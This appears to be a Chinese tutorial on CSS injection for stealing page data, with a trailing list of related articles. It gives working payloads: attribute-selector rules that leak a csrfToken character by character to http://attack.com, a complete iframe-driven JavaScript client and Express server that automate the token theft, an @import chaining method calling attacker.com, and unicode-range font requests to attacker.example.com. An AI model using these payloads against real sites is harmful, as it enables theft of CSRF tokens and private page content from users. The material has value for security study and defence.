现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的,下面分别来分析一下。

CSS 注入 窃取标签属性数据

CSS中可以使用属性选择器,根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。

hello world

属性选择器还可以匹配值的一些特性,比如以XXX开头、以XXX结尾等。

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时,就可以通过 url() 通知攻击者,从而窃取csrfToken的第一位的值。

input[value^="0"] {

background: url(http://attack.com/0);

}

input[value^="1"] {

background: url(http://attack.com/1);

}

input[value^="2"] {

background: url(http://attack.com/2);

}

...

input[value^="Y"] {

background: url(http://attack.com/Y);

}

input[value^="Z"] {

background: url(http://attack.com/Z);

}

第一位是Z,接着窃取第二位

input[value^="Z0"] {

background: url(http://attack.com/0);

}

...

input[value^="ZZ"] {

background: url(http://attack.com/Z);

}

解决hidden

当然还有个问题, 当标签type=hidden时浏览器是不允许我们设置background的,这样就无法触发 url() 请求服务器。

解决方法之一是利用 ~ CSS的兄弟选择器,选择为后续所有兄弟节点设置background。

input[value^="Z"] ~*{

background: url(http://attack.com/Z);

}

批量实现

当然,如果位数比较短且可能性比较少我们可以将其所有都列出来,但是通常都太多了,所以我们需要利用技巧批量得到。

假设目标存在css注入的网站为如下, 目标是窃取input标签中的csrfToken值。

CSS injection

>

有iframe

当存在CSS注入的网站响应头未被 X-Frame-Options保护时, 我们可以创建一个恶意的页面,利用js创建iframe包含该漏洞网站,利用css注入获得一位csrfToken值后通过 url()提交给服务器,服务器指示前端js继续创建iframe窃取第二位值,继续上面的操作,直到全部读取完。当然这要求每次请求漏洞网站内容都不会变。

这里存在一个问题,服务器如何指示前端js构造css,就像我们上面举得例子窃取到第一位为Z, 那么第二位的payload应该是Z开头的。

它的思路是前端js使用setTimeout定时请求服务器,服务器将css注入得到的token返回。

#frames {

visibility: hidden;

}

vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';

server_receive_token_url = 'http://127.0.0.1:8083/receive/';

server_return_token_url = 'http://127.0.0.1:8083/return';

chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");

known = "";

function test_char(known, chars) {

// Remove all the frames

document.getElementById("frames").innerHTML = "";

// Append the chars with the known chars

css = build_css(chars.map(v => known + v));

// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...

frame = document.createElement("iframe");

frame.src = vuln_url + css;

frame.style="visibility: hidden;"; //gotta be sneaky sneaky like

document.getElementById("frames").appendChild(frame);

// in 1 seconds, after the iframe loads, check to see if we got a response yet

setTimeout(function() {

var oReq = new XMLHttpRequest();

oReq.addEventListener("load", known_listener);

oReq.open("GET", server_return_token_url);

oReq.send();

}, 1000);

}

function build_css(values) {

css_payload = "";

for(var value in values) {

css_payload += "input[value^=\""

+ values[value]

+ "\"]~*{background-image:url("

+ server_receive_token_url

+ values[value]

+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url

}

return css_payload;

}

function known_listener () {

document.getElementById("current").innerHTML = "Current Token: " + this.responseText;

if(known != this.responseText) {

known = this.responseText;

test_char(known, chars);

} else {

known = this.responseText;

alert("CSRF token is: " + known);

}

}

test_char("", chars);

服务器代码是我配合它的payload写得。

var express = require('express');

var app = express();

var path = require('path');

var token = "";

app.get('/receive/:token', function(req, res) {

token = req.params.token;

console.log(token)

res.send('ok');

});

app.get('/return', function(req, res){

res.send(token);

});

app.get('/client.html', function(req, res){

res.sendFile(path.join(__dirname, 'client.html'));

})

var server = app.listen(8083, function() {

var host = server.address().address

var port = server.address().port

console.log("Example app listening at http://%s:%s", host, port)

})

还有 师傅 通过服务器将token写入到cookie中, 定时查询cookie是否改变来实现的。

无 iframe

原理也很简单,既然不能用iframe引入漏洞页面,那么我们可以通过window.open不断开启一个新的窗口,也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为,否则浏览器会禁止开启新窗口。

而且这篇文章还提出了无后台服务器的方案,利用service workers拦截客户端请求将获取到的token值同时存在本地localstorage中。

@import

利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是 不会刷新页面就可以拿到全部token 而且不需要iframe,但坏处就是只能用在chrome中,而且根据它的特性必须在样式标签头部有注入才行。

除了常见的 标签引入外部样式,css还可以通过 @import。

但是 @import 必须在样式表头部最先声明,并且分号是必须的。@import引入的样式表会直接替换对应的内联样式。

chrome在实现上述效果时,在每次 @import 外部样式表 返回后 都重新计算了一遍页面的其他的样式表,我们可以利用这个特性嵌套 @import 使用一个请求便获取到整个token

这是他文章中的一个图,很形象。

这图假定要窃取的数据长度为3,第一次注入的css内容为 @import url(http://attacker.com/staging); ,它返回了

这时页面又要获取

当将已窃取数据发送到服务器后,

而且那篇文章还开源了一个工具利用这个漏洞,用起来非常简单。

窃取标签content数据

窃取标签content数据相对来说就麻烦很多,去年xctf final就有一道题。

利用 unicode-range 猜测

@font-face{

font-family:poc;

src: url(http://attacker.example.com/?A); /* fetched */

unicode-range:U+0041;

}

@font-face{

font-family:poc;

src: url(http://attacker.example.com/?B); /* fetched too */

unicode-range:U+0042;

}

@font-face{

font-family:poc;

src: url(http://attacker.example.com/?C); /* not fetched */

unicode-range:U+0043;

}

#sensitive-information{

font-family:poc;

}

AB

当然这只能知道含有那些字符,而且当字符一多就没有意义了。不过这也是个不错的思路,在某些特定情况下可能有用。

利用连字(Ligature)

去年xctf师傅们的 题解 用的就是这个方法。

连字简而言之就是几个字符的合体字,更多自行百度。在这里我们可以自己创建一个字体,其中所有字符宽度设为0,将 flag 这个连字的宽度设置非常大,此时指定标签content中如果出现了flag字符串就会因为宽度的原因出现滚动条,检测出现滚动条时用 url() 请求服务器。

这样我们就可以不断向后猜测了,详细的创建字体、payload 这里 已经提供了。

总结

到此这篇关于CSS injection 知识总结的文章就介绍到这了,更多相关CSS injection内容请搜索脚本之家以前的文章或继续浏览下面的相关文章,希望大家以后多多支持脚本之家!

css 注入,CSS injection 知识总结相关推荐

  1. 安全基础第六天:css注入

    一.css注入原理 1.什么是css注入 CSS注入就是使用CSS的一些特性写成脚本在特定的工作条件下造成用户敏感信息泄露的一种安全漏洞. 2.引发的原因 从用户提供的URL中引入CSS文件,CSS代 ...

  2. [网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF隐写和逆向题目,包括文字解密.图片解密.佛语解码.冰蝎流量分析 ...

  3. css 注入,electron程序,如何在主进程远程页面中注入js及css?

    本博客不欢迎:各种镜像采集行为,请尊重知识产权法律法规.大家都是程序员,不要闹得不开心. 每日一篇的苏南大叔写代码教程,又来了.在本文中,苏南大叔描述的是,在electron程序加载远程页面的时候,如 ...

  4. java基础57 css样式、选择器和css定位(网页知识)

    本文知识点(目录): 1.CSS样式     2.选择器     3.CSS定位 1.CSS样式 1.html 在一个网页中负责的是一个页面的结构     2.css(层叠样式表)在一个页面中负责了一 ...

  5. 【重识 HTML + CSS】网页基础知识、基本 HTML 标签

    重识 HTML + CSS 网页的基础知识 网页的显示过程 缓存(cache)技术 浏览器内核 常用 HTML 元素 DOCTYPE 文档说明 html 元素:根元素 lang 属性 head 元素: ...

  6. 【web-攻击用户】(9.4)跨域捕获数据——通过注入HTML捕获数据、注入CSS捕获数据、JavaScript劫持

    目录 跨域捕获数据 1.1.简介: 1.2.通过注入HTML捕获数据 简介: 示例: 1.3.通过注入CSS捕获数据 简述: 1.4.JavaScript劫持 简述: 函数回调 JSON 变量分配 E ...

  7. html刷新css样式,让IE浏览器即时刷新CSS样式_HTML与CSS教程_电脑知识学习_培训之家...

    让IE浏览器即时刷新CSS样式为http://www.pxzj8.com整理发布,类型为HTML与CSS教程,本站还有更多关于html与css教程,css教程,html网页设计教程,css视频教程,c ...

  8. Web前端技术分享:CSS菜单图标相关知识

    CSS是一种用来表现HTML或XML等文件样式的计算机语言,它是Web前端人才必须要掌握的基础技能之一.想要学习Web前端,最开始的基础学习一定是CSS.接下来我就给大家简单分享CSS菜单图标相关知识 ...

  9. html控制h1不让换行的属性,CSS控制H1不换行_HTML与CSS教程_电脑知识学习_培训之家...

    CSS控制H1不换行为http://www.pxzj8.com整理发布,类型为HTML与CSS教程,本站还有更多关于html与css教程,css教程,html网页设计教程,css视频教程,css教程下 ...

最新文章

  1. java 二维码生成和解析
  2. 学习笔记-安装ELK5
  3. 【期望】选书问题(金牌导航 期望-7)
  4. 44年前的今天,改变世界的TA诞生了! | 极客头条
  5. html列表按时间排序代码_按字母顺序排序的列表
  6. 二分法解决力扣374.猜数字大小 C语言
  7. “Python编程及大数据应用”课程教师(厦门)寒假研修班
  8. flex布局实现叠在另一个div之上_CSS3 flex弹性伸缩布局[上]
  9. zabbix 服务器监控之数据库操作
  10. android回收内存保存变量,android基础之onSaveInstanceState用法(一)保存容易被回收的自定义类的静态全局变量...
  11. UVA - 815 Flooded!
  12. (CVPR2020 Oral)用于实时实例分割的Deep Snake方法
  13. urlhelper 使用教程
  14. Delta对冲:实际波动率 VS 隐含波动率
  15. YouTube Java API入门
  16. Scheme语言深入
  17. 中海国亚Java笔试题
  18. 李涛Photoshop笔记之基础篇
  19. 浅谈“POODLE信息泄露漏洞”
  20. SQL Server decimal 和 numeric 区别

热门文章

  1. 【多服务场景化解决方案】智能家居(UrbanHome)
  2. jsp导出excel,可传动态参数
  3. MSF中使用Nessus
  4. tensorflow(学习一)中的tf.app.flags函数定义命令行参数
  5. 三个OpenStack自动化部署工具:Devstack,OSA,Kolla对比
  6. csapp大作业:程序人生
  7. app debug版正常运行,release版点开app就闪退
  8. Veeam Backup Replication 11 - 虚拟、物理和云备份软件
  9. QT连接PostgresSQL9.4(X86)
  10. 2022.1版本idea 安装教程